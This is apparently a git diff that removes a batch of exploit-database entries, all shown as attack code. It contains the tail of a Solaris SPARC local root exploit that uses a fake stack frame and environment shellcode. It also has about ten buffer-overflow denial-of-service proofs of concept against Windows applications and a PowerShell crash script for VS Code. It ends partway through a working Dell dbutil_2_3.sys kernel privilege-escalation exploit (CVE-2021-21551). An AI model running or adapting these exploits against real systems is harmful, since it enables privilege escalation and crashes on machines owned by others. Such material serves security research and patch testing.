fprintf(stderr, "lpstat called with -d\n");
|
|
||||||
printf("system default destination: %s\n", buf);
|
|
||||||
}
|
|
||||||
exit(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* helper program that prints argv[0] address, used by get_ff_addr() */
|
|
||||||
if (!strcmp(argv[0], "foo")) {
|
|
||||||
printf("0x%p\n", argv[0]);
|
|
||||||
exit(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* print exploit information */
|
|
||||||
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
|
|
||||||
|
|
||||||
/* process command line */
|
|
||||||
if (argc != 2) {
|
|
||||||
#ifdef USE_EXEC_SC
|
|
||||||
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
|
|
||||||
#else
|
|
||||||
fprintf(stderr, "usage:\n$ %s xserver:display\n$ /bin/ksh\n\n", argv[0]);
|
|
||||||
#endif /* USE_EXEC_SC */
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
sprintf(display, "DISPLAY=%s", argv[1]);
|
|
||||||
|
|
||||||
/* prepare the fake frame */
|
|
||||||
bzero(ff, sizeof(ff));
|
|
||||||
for (i = 0; i < 64; i += 4) {
|
|
||||||
set_val(ff, i, DUMMY);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* fill the envp, keeping padding */
|
|
||||||
sc_addr = add_env(ff);
|
|
||||||
add_env(sc);
|
|
||||||
ret_pos = env_pos;
|
|
||||||
add_env("RET=0x41414141"); /* placeholder */
|
|
||||||
fpt_pos = env_pos;
|
|
||||||
add_env("FPT=0x42424242"); /* placeholder */
|
|
||||||
add_env(display);
|
|
||||||
add_env("PATH=.:/usr/bin");
|
|
||||||
add_env("HOME=/tmp");
|
|
||||||
add_env(NULL);
|
|
||||||
|
|
||||||
/* calculate the needed addresses */
|
|
||||||
ff_addr = get_ff_addr(VULN, argv);
|
|
||||||
sc_addr += ff_addr;
|
|
||||||
|
|
||||||
/*
|
|
||||||
* populate saved %l registers
|
|
||||||
*/
|
|
||||||
set_val(ff, i = 0, ff_addr + 56); /* %l0 */
|
|
||||||
set_val(ff, i += 4, ff_addr + 56); /* %l1 */
|
|
||||||
set_val(ff, i += 4, ff_addr + 56); /* %l2 */
|
|
||||||
set_val(ff, i += 4, ff_addr + 56); /* %l3 */
|
|
||||||
set_val(ff, i += 4, ff_addr + 56); /* %l4 */
|
|
||||||
set_val(ff, i += 4, ff_addr + 56); /* %l5 */
|
|
||||||
set_val(ff, i += 4, ff_addr + 56); /* %l6 */
|
|
||||||
set_val(ff, i += 4, ff_addr + 56); /* %l7 */
|
|
||||||
|
|
||||||
/*
|
|
||||||
* populate saved %i registers
|
|
||||||
*/
|
|
||||||
set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to sprintf() */
|
|
||||||
set_val(ff, i += 4, sc_addr); /* %i1: 2nd arg to sprintf() */
|
|
||||||
set_val(ff, i += 4, ff_addr + 56); /* %i2 */
|
|
||||||
set_val(ff, i += 4, ff_addr + 56); /* %i3 */
|
|
||||||
set_val(ff, i += 4, ff_addr + 56); /* %i4 */
|
|
||||||
set_val(ff, i += 4, ff_addr + 56); /* %i5 */
|
|
||||||
set_val(ff, i += 4, sb - 1024); /* %i6: frame pointer */
|
|
||||||
set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */
|
|
||||||
|
|
||||||
#ifdef USE_EXEC_SC
|
|
||||||
set_val(sc, 48, sb - 1024); /* populate exec shellcode placeholder */
|
|
||||||
#endif /* USE_EXEC_SC */
|
|
||||||
|
|
||||||
/* overwrite RET and FPT env vars with the correct addresses */
|
|
||||||
sprintf(ret_var, "RET=0x%x", ret);
|
|
||||||
env[ret_pos] = ret_var;
|
|
||||||
sprintf(fpt_var, "FPT=0x%x", ff_addr);
|
|
||||||
env[fpt_pos] = fpt_var;
|
|
||||||
|
|
||||||
/* create a symlink for the fake lpstat */
|
|
||||||
unlink("lpstat");
|
|
||||||
symlink(argv[0], "lpstat");
|
|
||||||
|
|
||||||
/* print some output */
|
|
||||||
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
|
|
||||||
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
|
|
||||||
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
|
|
||||||
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
|
|
||||||
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
|
|
||||||
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
|
|
||||||
fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
|
|
||||||
fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret);
|
|
||||||
|
|
||||||
/* check for null bytes (add some padding to env if needed) */
|
|
||||||
check_zero(ff_addr, "ff address");
|
|
||||||
check_zero(sc_addr, "sc address");
|
|
||||||
|
|
||||||
/* run the vulnerable program */
|
|
||||||
execve(VULN, arg, env);
|
|
||||||
perror("execve");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* add_env(): add a variable to envp and pad if needed
|
|
||||||
*/
|
|
||||||
int add_env(char *string)
|
|
||||||
{
|
|
||||||
int i;
|
|
||||||
|
|
||||||
/* null termination */
|
|
||||||
if (!string) {
|
|
||||||
env[env_pos] = NULL;
|
|
||||||
return env_len;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* add the variable to envp */
|
|
||||||
env[env_pos] = string;
|
|
||||||
env_len += strlen(string) + 1;
|
|
||||||
env_pos++;
|
|
||||||
|
|
||||||
/* pad the envp using zeroes */
|
|
||||||
if ((strlen(string) + 1) % 4)
|
|
||||||
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
|
|
||||||
env[env_pos] = string + strlen(string);
|
|
||||||
env_len++;
|
|
||||||
}
|
|
||||||
|
|
||||||
return env_len;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* check_zero(): check an address for the presence of a 0x00
|
|
||||||
*/
|
|
||||||
void check_zero(int addr, char *pattern)
|
|
||||||
{
|
|
||||||
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
|
|
||||||
!(addr & 0xff000000)) {
|
|
||||||
fprintf(stderr, "error: %s contains a 0x00!\n", pattern);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* get_ff_addr(): get fake frame address using a helper program
|
|
||||||
*/
|
|
||||||
int get_ff_addr(char *path, char **argv)
|
|
||||||
{
|
|
||||||
char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
|
|
||||||
char hex[11] = "\x00";
|
|
||||||
int fd[2], addr;
|
|
||||||
|
|
||||||
/* truncate program name at correct length and create a hard link */
|
|
||||||
prog[strlen(path)] = 0x0;
|
|
||||||
unlink(prog);
|
|
||||||
link(argv[0], prog);
|
|
||||||
|
|
||||||
/* open pipe to read program output */
|
|
||||||
if (pipe(fd) < 0) {
|
|
||||||
perror("pipe");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
switch(fork()) {
|
|
||||||
|
|
||||||
case -1: /* cannot fork */
|
|
||||||
perror("fork");
|
|
||||||
exit(1);
|
|
||||||
|
|
||||||
case 0: /* child */
|
|
||||||
dup2(fd[1], 1);
|
|
||||||
close(fd[0]);
|
|
||||||
close(fd[1]);
|
|
||||||
execve(prog, arg, env);
|
|
||||||
perror("execve");
|
|
||||||
exit(1);
|
|
||||||
|
|
||||||
default: /* parent */
|
|
||||||
close(fd[1]);
|
|
||||||
read(fd[0], hex, sizeof(hex));
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* check and return address */
|
|
||||||
if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
|
|
||||||
fprintf(stderr, "error: cannot read ff address from helper program\n");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
return addr + 4;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* search_ldso(): search for a symbol inside ld.so.1
|
|
||||||
*/
|
|
||||||
int search_ldso(char *sym)
|
|
||||||
{
|
|
||||||
int addr;
|
|
||||||
void *handle;
|
|
||||||
Link_map *lm;
|
|
||||||
|
|
||||||
/* open the executable object file */
|
|
||||||
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
|
|
||||||
perror("dlopen");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* get dynamic load information */
|
|
||||||
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
|
|
||||||
perror("dlinfo");
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* search for the address of the symbol */
|
|
||||||
if ((addr = (int)dlsym(handle, sym)) == NULL) {
|
|
||||||
fprintf(stderr, "error: sorry, function %s() not found\n", sym);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* close the executable object file */
|
|
||||||
dlclose(handle);
|
|
||||||
|
|
||||||
check_zero(addr - 4, sym);
|
|
||||||
return addr;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* search_rwx_mem(): search for an RWX memory segment valid for all
|
|
||||||
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
|
|
||||||
*/
|
|
||||||
int search_rwx_mem(void)
|
|
||||||
{
|
|
||||||
int fd;
|
|
||||||
char tmp[16];
|
|
||||||
prmap_t map;
|
|
||||||
int addr = 0, addr_old;
|
|
||||||
|
|
||||||
/* open the proc filesystem */
|
|
||||||
sprintf(tmp,"/proc/%d/map", (int)getpid());
|
|
||||||
if ((fd = open(tmp, O_RDONLY)) < 0) {
|
|
||||||
fprintf(stderr, "error: can't open %s\n", tmp);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* search for the last RWX memory segment before stack (last - 1) */
|
|
||||||
while (read(fd, &map, sizeof(map)))
|
|
||||||
if (map.pr_vaddr)
|
|
||||||
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
|
|
||||||
addr_old = addr;
|
|
||||||
addr = map.pr_vaddr;
|
|
||||||
}
|
|
||||||
close(fd);
|
|
||||||
|
|
||||||
/* add 4 to the exact address null bytes */
|
|
||||||
if (!(addr_old & 0xff))
|
|
||||||
addr_old |= 0x04;
|
|
||||||
if (!(addr_old & 0xff00))
|
|
||||||
addr_old |= 0x0400;
|
|
||||||
|
|
||||||
return addr_old;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* set_val(): copy a dword inside a buffer
|
|
||||||
*/
|
|
||||||
void set_val(char *buf, int pos, int val)
|
|
||||||
{
|
|
||||||
buf[pos] = (val & 0xff000000) >> 24;
|
|
||||||
buf[pos + 1] = (val & 0x00ff0000) >> 16;
|
|
||||||
buf[pos + 2] = (val & 0x0000ff00) >> 8;
|
|
||||||
buf[pos + 3] = (val & 0x000000ff);
|
|
||||||
}
|
|
||||||
|
|
@ -1,25 +0,0 @@
|
||||||
# Exploit Title: Easy CD & DVD Cover Creator 4.13 - Denial of Service (PoC)
|
|
||||||
# Date: 22.12.2020
|
|
||||||
# Software Link: http://www.tucows.com/download/windows/files/ezcdsetup.exe
|
|
||||||
# Exploit Author: Achilles
|
|
||||||
# Tested Version: 4.13
|
|
||||||
# Tested on: Windows 7 x64 Sp1
|
|
||||||
|
|
||||||
# 1.- Run python code :Creator.py
|
|
||||||
# 2.- Open EVIL.txt and copy content to clipboard
|
|
||||||
# 3.- Open Easy CD & DVD Cover Creator.exe
|
|
||||||
# 4.- Press Unlock Now
|
|
||||||
# 4.- Paste the content of EVIL.txt into the Field: 'Serial Number'
|
|
||||||
# 5.- Press 'Continue'and you will see a crash.
|
|
||||||
|
|
||||||
#!/usr/bin/env python
|
|
||||||
buffer = "\x41" * 6000
|
|
||||||
|
|
||||||
try:
|
|
||||||
open("Evil.txt","w")
|
|
||||||
print "[+] Creating %s bytes evil payload.." %len(buffer)
|
|
||||||
f.write(buffer)
|
|
||||||
f.close()
|
|
||||||
print "[+] File created!"
|
|
||||||
except:
|
|
||||||
print "File cannot be created"
|
|
||||||
|
|
@ -1,29 +0,0 @@
|
||||||
# Exploit Title: Managed Switch Port Mapping Tool 2.85.2 - Denial of Service (PoC)
|
|
||||||
# Date: 2021-02-15
|
|
||||||
# Exploit Author: Ismael Nava
|
|
||||||
# Vendor Homepage: https://switchportmapper.com/
|
|
||||||
# Software Link: https://switchportmapper.com/download.htm
|
|
||||||
# Version: 2.85.2
|
|
||||||
# Tested on: Windows 10 Home x64
|
|
||||||
|
|
||||||
|
|
||||||
#STEPS
|
|
||||||
# Open the program Managed Switch Port Mapping Tool
|
|
||||||
# In the left side select Settings from Router/Srvr 1 (for layer 2 Switches)
|
|
||||||
# Run the python exploit script, it will create a new .txt files
|
|
||||||
# Copy the content of the file "Gou.txt"
|
|
||||||
# Paste the content in the field IP Address and SNMP v1/v2c Read Community Name
|
|
||||||
# Click in OK
|
|
||||||
# End :)
|
|
||||||
|
|
||||||
|
|
||||||
buffer = 'F' * 10000
|
|
||||||
|
|
||||||
try:
|
|
||||||
file = open("Gou2.txt","w")
|
|
||||||
file.write(buffer)
|
|
||||||
file.close()
|
|
||||||
|
|
||||||
print("Archive ready")
|
|
||||||
except:
|
|
||||||
print("Archive no ready")
|
|
||||||
|
|
@ -1,29 +0,0 @@
|
||||||
# Exploit Title: Nsasoft Hardware Software Inventory 1.6.4.0 - 'multiple' Denial of Service (PoC)
|
|
||||||
# Exploit Author : Enes Özeser
|
|
||||||
# Exploit Date: 2021-02-28
|
|
||||||
# Vendor Homepage : https://www.nsauditor.com/
|
|
||||||
# Link Software : https://www.nsauditor.com/downloads/nhsi_setup.exe
|
|
||||||
# Version: 1.6.4.0
|
|
||||||
# Tested on: Windows 10
|
|
||||||
|
|
||||||
# Steps:
|
|
||||||
1- Run the python script. (payload.py)
|
|
||||||
2- Open payload.txt and copy content to clipboard.
|
|
||||||
3- Run 'Nsasoft Hardware Software Inventory 1.6.4.0'.
|
|
||||||
4- Register -> Enter Registeration Code
|
|
||||||
5- Paste clipboard into the "Key" or "Name".
|
|
||||||
6- Click on OK.
|
|
||||||
7- Crashed.
|
|
||||||
|
|
||||||
---> payload.py <--
|
|
||||||
|
|
||||||
#!/usr/bin/env python
|
|
||||||
buffer = "\x41" * 300
|
|
||||||
|
|
||||||
try:
|
|
||||||
f = open("payload.txt","w")
|
|
||||||
f.write(buffer)
|
|
||||||
f.close()
|
|
||||||
print "File created!"
|
|
||||||
except:
|
|
||||||
print "File cannot be created!"
|
|
||||||
|
|
@ -1,18 +0,0 @@
|
||||||
# Exploit Title: Sandboxie 5.49.7 - Denial of Service (PoC)
|
|
||||||
# Date: 06/05/2021
|
|
||||||
# Author: Erick Galindo
|
|
||||||
# Vendor Homepage: https://sandboxie-plus.com/
|
|
||||||
# Software https://github.com/sandboxie-plus/Sandboxie/releases/download/0.7.4/Sandboxie-Classic-x64-v5.49.7.exe
|
|
||||||
# Version: 5.49.7
|
|
||||||
# Tested on: Windows 10 Pro x64 es
|
|
||||||
|
|
||||||
# Proof of Concept:
|
|
||||||
#1.- Copy printed "AAAAA..." string to clipboard!
|
|
||||||
#2.- Sandboxie Control->Sandbox->Set Container Folder
|
|
||||||
#3.- Paste the buffer in the input then press ok
|
|
||||||
|
|
||||||
buffer = "\x41" * 5000
|
|
||||||
|
|
||||||
f = open ("Sandboxie10.txt", "w")
|
|
||||||
f.write(buffer)
|
|
||||||
f.close()
|
|
||||||
|
|
@ -1,30 +0,0 @@
|
||||||
# Exploit Title: iDailyDiary 4.30 - Denial of Service (PoC)
|
|
||||||
# Date: 2021-05-21
|
|
||||||
# Exploit Author: Ismael Nava
|
|
||||||
# Vendor Homepage: https://www.splinterware.com/index.html
|
|
||||||
# Software Link: https://www.splinterware.com/download/iddfree.exe
|
|
||||||
# Version: 4.30
|
|
||||||
# Tested on: Windows 10 Home x64
|
|
||||||
|
|
||||||
#STEPS
|
|
||||||
# Open the program iDailyDiary
|
|
||||||
# Create a New Diary, put any name and check the option "Do not prompt for password", click in OK
|
|
||||||
# In the tab "View", click in "Preferences"
|
|
||||||
# Click in the option "Tabs"
|
|
||||||
# Run the python exploit script, it will create a new .txt files
|
|
||||||
# Copy the content of the file "Sotsu.txt"
|
|
||||||
# Paste the content in the field below "Default diary tab name when creating new tabs"
|
|
||||||
# Click in Apply
|
|
||||||
# End :)
|
|
||||||
|
|
||||||
|
|
||||||
buffer = 'F' * 2000000
|
|
||||||
|
|
||||||
try:
|
|
||||||
file = open("Sotsu.txt","w")
|
|
||||||
file.write(buffer)
|
|
||||||
file.close()
|
|
||||||
|
|
||||||
print("Archive ready")
|
|
||||||
except:
|
|
||||||
print("Archive no ready")
|
|
||||||
|
|
@ -1,29 +0,0 @@
|
||||||
# Exploit Title: RarmaRadio 2.72.8 - Denial of Service (PoC)
|
|
||||||
# Date: 2021-05-25
|
|
||||||
# Exploit Author: Ismael Nava
|
|
||||||
# Vendor Homepage: http://www.raimersoft.com/
|
|
||||||
# Software Link: http://raimersoft.com/downloads/rarmaradio_setup.exe
|
|
||||||
# Version: 2.75.8
|
|
||||||
# Tested on: Windows 10 Home x64
|
|
||||||
|
|
||||||
#STEPS
|
|
||||||
# Open the program RarmaRadio
|
|
||||||
# Click in Edit and select Settings
|
|
||||||
# Click in Network option
|
|
||||||
# Run the python exploit script, it will create a new .txt files
|
|
||||||
# Copy the content of the file "Lambda.txt"
|
|
||||||
# Paste the content in the fields Username, Server, Port and User Agent
|
|
||||||
# Click in OK
|
|
||||||
# End :)
|
|
||||||
|
|
||||||
|
|
||||||
buffer = 'Ñ' * 100000
|
|
||||||
|
|
||||||
try:
|
|
||||||
file = open("Lambda.txt","w")
|
|
||||||
file.write(buffer)
|
|
||||||
file.close()
|
|
||||||
|
|
||||||
print("Archive ready")
|
|
||||||
except:
|
|
||||||
print("Archive no ready")
|
|
||||||
|
|
@ -1,27 +0,0 @@
|
||||||
# Exploit Title: DupTerminator 1.4.5639.37199 - Denial of Service (PoC)
|
|
||||||
# Date: 2021-05-28
|
|
||||||
# Author: Brian Rodríguez
|
|
||||||
# Software Site: https://sourceforge.net/projects/dupterminator/
|
|
||||||
# Version: 1.4.5639.37199
|
|
||||||
# Category: DoS (Windows)
|
|
||||||
|
|
||||||
##### Vulnerability #####
|
|
||||||
|
|
||||||
DupTerminator is vulnerable to a DoS condition when a long list of characters is being used in field "Excluded" text box.
|
|
||||||
|
|
||||||
Successful exploitation will causes application stop working.
|
|
||||||
|
|
||||||
I have been able to test this exploit against Windows 10.
|
|
||||||
|
|
||||||
##### PoC #####
|
|
||||||
|
|
||||||
#!/usr/bin/env python
|
|
||||||
buffer = "\x41" * 8000
|
|
||||||
|
|
||||||
try:
|
|
||||||
f = open("payload.txt","w")
|
|
||||||
f.write(buffer)
|
|
||||||
f.close()
|
|
||||||
print ("File created")
|
|
||||||
except:
|
|
||||||
print ("File cannot be created")
|
|
||||||
|
|
@ -1,20 +0,0 @@
|
||||||
# Exploit Title: NBMonitor 1.6.8 - Denial of Service (PoC)
|
|
||||||
# Date: 07/06/2021
|
|
||||||
# Author: Erick Galindo
|
|
||||||
# Vendor Homepage: http://www.nsauditor.com
|
|
||||||
# Software Link: http://www.nbmonitor.com/downloads/nbmonitor_setup.exe
|
|
||||||
# Version: 1.6.8
|
|
||||||
# Tested on: Windows 10 Pro x64 es
|
|
||||||
|
|
||||||
# Proof of Concept:
|
|
||||||
#1.- Copy printed "AAAAA..." string to clipboard!
|
|
||||||
#2.- Go to Register > Enter Registration Code...
|
|
||||||
#3.- Write anything in 'Name' field
|
|
||||||
#4.- Paste clipboard in 'Key' field
|
|
||||||
#5.- Click on button -> Ok
|
|
||||||
|
|
||||||
buffer = "\x41" * 256
|
|
||||||
|
|
||||||
f = open ("NBM.txt", "w")
|
|
||||||
f.write(buffer)
|
|
||||||
f.close()
|
|
||||||
|
|
@ -1,21 +0,0 @@
|
||||||
# Exploit Title: Nsauditor 3.2.3 - Denial of Service (PoC)
|
|
||||||
# Date: 07/06/2021
|
|
||||||
# Author: Erick Galindo
|
|
||||||
# Vendor Homepage: http://www.nsauditor.com
|
|
||||||
# Software http://www.nsauditor.com/downloads/nsauditor_setup.exe
|
|
||||||
# Version: 3.2.3.0
|
|
||||||
# Tested on: Windows 10 Pro x64 es
|
|
||||||
|
|
||||||
# Proof of Concept:
|
|
||||||
#1.- Copy printed "AAAAA..." string to clipboard!
|
|
||||||
#2.- Open Nsauditor.exe
|
|
||||||
#3.- Go to Register > Enter Registration Code...
|
|
||||||
#4.- Write anything in 'Name' field
|
|
||||||
#5.- Paste clipboard in 'Key' field
|
|
||||||
#6.- Click on button -> Ok
|
|
||||||
|
|
||||||
buffer = "\x41" * 256
|
|
||||||
|
|
||||||
f = open ("NBM.txt", "w")
|
|
||||||
f.write(buffer)
|
|
||||||
f.close()
|
|
||||||
|
|
@ -1,45 +0,0 @@
|
||||||
# Exploit Tittle: Visual Studio Code 1.47.1 - Denial of Service (Poc)
|
|
||||||
# Exploit Author: H.H.A.Ravindu Priyankara
|
|
||||||
# Category: Denial of Service(DOS)
|
|
||||||
# Tested Version:1.47.1
|
|
||||||
# Vendor: Microsoft
|
|
||||||
# Software Download Link:https://code.visualstudio.com/updates/
|
|
||||||
|
|
||||||
Write-Host "
|
|
||||||
* *
|
|
||||||
*-------------------------------------------------------------------------------------------------------*
|
|
||||||
| |
|
|
||||||
|" -ForegroundColor Yellow -NoNewline; Write-Host " Exploit Tittle :-" -ForegroundColor Green -NoNewline; Write-Host " Visual Studio Code (VS Code) Denial of Service " -ForegroundColor Cyan -NoNewline; Write-Host " |
|
|
||||||
| |
|
|
||||||
|" -ForegroundColor Yellow -NoNewline; Write-Host " Author :-" -ForegroundColor Green -NoNewline; Write-Host " H.H.A.Ravindu.Priyankara " -ForegroundColor Cyan -NoNewline; Write-Host " |
|
|
||||||
| |
|
|
||||||
|" -ForegroundColor Yellow -NoNewline; Write-Host " Github :-" -ForegroundColor Green -NoNewline; Write-Host " https://github.com/Ravindu-Priyankara " -ForegroundColor Cyan -NoNewline; Write-Host " |
|
|
||||||
| |
|
|
||||||
|" -ForegroundColor Yellow -NoNewline; Write-Host " Youtube :-"-ForegroundColor Green -NoNewline; Write-Host " https://www.youtube.com/channel/UCKD2j5Mbr15RKaXBSIXwvMQ " -ForegroundColor Cyan -NoNewline; Write-Host " |
|
|
||||||
| |
|
|
||||||
|" -ForegroundColor Yellow -NoNewline; Write-Host " Linkedin :-"-ForegroundColor Green -NoNewline; Write-Host " https://www.linkedin.com/in/ravindu-priyankara-b77753209/ " -ForegroundColor Cyan -NoNewline; Write-Host " |
|
|
||||||
*-------------------------------------------------------------------------------------------------------*"-ForegroundColor Yellow
|
|
||||||
|
|
||||||
[string]$Userinpts = Read-Host -Prompt "Enter Run or Stop:-"
|
|
||||||
if ($Userinpts -eq "Run") {
|
|
||||||
Write-Output "Yeah I Know"
|
|
||||||
while ($True) {
|
|
||||||
$name = "AAAAAAA"
|
|
||||||
$name * 1000000
|
|
||||||
}
|
|
||||||
#or
|
|
||||||
#$name = "AAAAAAA"
|
|
||||||
#$name * 1000000
|
|
||||||
}
|
|
||||||
if ($Userinpts -eq "Stop") {
|
|
||||||
exit
|
|
||||||
}
|
|
||||||
|
|
||||||
#==========================================================
|
|
||||||
#==================== solution ============================
|
|
||||||
#==========================================================
|
|
||||||
|
|
||||||
#Update Your Visual Studio Code Application
|
|
||||||
# 1.47.1 version ==> 1.56.0 version
|
|
||||||
|
|
||||||
#==========================================================
|
|
||||||
|
|
@ -1,219 +0,0 @@
|
||||||
# Exploit Title: DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE)
|
|
||||||
# Date: 10/05/2021
|
|
||||||
# Exploit Author: Paolo Stagno aka VoidSec
|
|
||||||
# Version: <= 2.3
|
|
||||||
# CVE: CVE-2021-21551
|
|
||||||
# Tested on: Windows 10 Pro x64 v.1903 Build 18362.30
|
|
||||||
# Blog: https://voidsec.com/reverse-engineering-and-exploiting-dell-cve-2021-21551/
|
|
||||||
|
|
||||||
#include <iostream>
|
|
||||||
#include <windows.h>
|
|
||||||
#include <winternl.h>
|
|
||||||
#include <tlhelp32.h>
|
|
||||||
#include <algorithm>
|
|
||||||
|
|
||||||
#define IOCTL_CODE 0x9B0C1EC8 // IOCTL_CODE value, used to reach the vulnerable function (taken from IDA)
|
|
||||||
#define SystemHandleInformation 0x10
|
|
||||||
#define SystemHandleInformationSize 1024 * 1024 * 2
|
|
||||||
|
|
||||||
// define the buffer structure which will be sent to the vulnerable driver
|
|
||||||
typedef struct Exploit
|
|
||||||
{
|
|
||||||
uint64_t Field1; // "padding" can be anything
|
|
||||||
void* Field2; // where to write
|
|
||||||
uint64_t Field3; // must be 0
|
|
||||||
uint64_t Field4; // value to write
|
|
||||||
};
|
|
||||||
|
|
||||||
typedef struct outBuffer
|
|
||||||
{
|
|
||||||
uint64_t Field1;
|
|
||||||
uint64_t Field2;
|
|
||||||
uint64_t Field3;
|
|
||||||
uint64_t Field4;
|
|
||||||
};
|
|
||||||
|
|
||||||
// define a pointer to the native function 'NtQuerySystemInformation'
|
|
||||||
using pNtQuerySystemInformation = NTSTATUS(WINAPI*)(
|
|
||||||
ULONG SystemInformationClass,
|
|
||||||
PVOID SystemInformation,
|
|
||||||
ULONG SystemInformationLength,
|
|
||||||
PULONG ReturnLength);
|
|
||||||
|
|
||||||
// define the SYSTEM_HANDLE_TABLE_ENTRY_INFO structure
|
|
||||||
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
|
|
||||||
{
|
|
||||||
USHORT UniqueProcessId;
|
|
||||||
USHORT CreatorBackTraceIndex;
|
|
||||||
UCHAR ObjectTypeIndex;
|
|
||||||
UCHAR HandleAttributes;
|
|
||||||
USHORT HandleValue;
|
|
||||||
PVOID Object;
|
|
||||||
ULONG GrantedAccess;
|
|
||||||
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
|
|
||||||
|
|
||||||
// define the SYSTEM_HANDLE_INFORMATION structure
|
|
||||||
typedef struct _SYSTEM_HANDLE_INFORMATION
|
|
||||||
{
|
|
||||||
ULONG NumberOfHandles;
|
|
||||||
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
|
|
||||||
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
|
|
||||||
|
|
||||||
int main(int argc, char** argv)
|
|
||||||
{
|
|
||||||
|
|
||||||
// open a handle to the device exposed by the driver - symlink is \\.\\DBUtil_2_3
|
|
||||||
HANDLE device = ::CreateFileW(
|
|
||||||
L"\\\\.\\DBUtil_2_3",
|
|
||||||
GENERIC_WRITE | GENERIC_READ,
|
|
||||||
NULL,
|
|
||||||
nullptr,
|
|
||||||
OPEN_EXISTING,
|
|
||||||
NULL,
|
|
||||||
NULL);
|
|
||||||
if (device == INVALID_HANDLE_VALUE)
|
|
||||||
{
|
|
||||||
std::cout << "[!] Couldn't open handle to DBUtil_2_3 driver. Error code: " << ::GetLastError() << std::endl;
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
std::cout << "[+] Opened a handle to DBUtil_2_3 driver!\n";
|
|
||||||
|
|
||||||
// resolve the address of NtQuerySystemInformation and assign it to a function pointer
|
|
||||||
pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)::GetProcAddress(::LoadLibraryW(L"ntdll"), "NtQuerySystemInformation");
|
|
||||||
if (!NtQuerySystemInformation)
|
|
||||||
{
|
|
||||||
std::cout << "[!] Couldn't resolve NtQuerySystemInformation API. Error code: " << ::GetLastError() << std::endl;
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
std::cout << "[+] Resolved NtQuerySystemInformation!\n";
|
|
||||||
|
|
||||||
// open the current process token - it will be used to retrieve its kernelspace address later
|
|
||||||
HANDLE currentProcess = ::GetCurrentProcess();
|
|
||||||
HANDLE currentToken = NULL;
|
|
||||||
bool success = ::OpenProcessToken(currentProcess, TOKEN_ALL_ACCESS, ¤tToken);
|
|
||||||
if (!success)
|
|
||||||
{
|
|
||||||
std::cout << "[!] Couldn't open handle to the current process token. Error code: " << ::GetLastError() << std::endl;
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
std::cout << "[+] Opened a handle to the current process token!\n";
|
|
||||||
|
|
||||||
// allocate space in the heap for the handle table information which will be filled by the call to 'NtQuerySystemInformation' API
|
|
||||||
PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(::GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);
|
|
||||||
|
|
||||||
// call NtQuerySystemInformation and fill the handleTableInformation structure
|
|
||||||
ULONG returnLength = 0;
|
|
||||||
NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnLength);
|
|
||||||
|
|
||||||
uint64_t tokenAddress = 0;
|
|
||||||
// iterate over the system's handle table and look for the handles beloging to our process
|
|
||||||
for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)
|
|
||||||
{
|
|
||||||
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
|
|
||||||
// if it finds our process and the handle matches the current token handle we already opened, print it
|
|
||||||
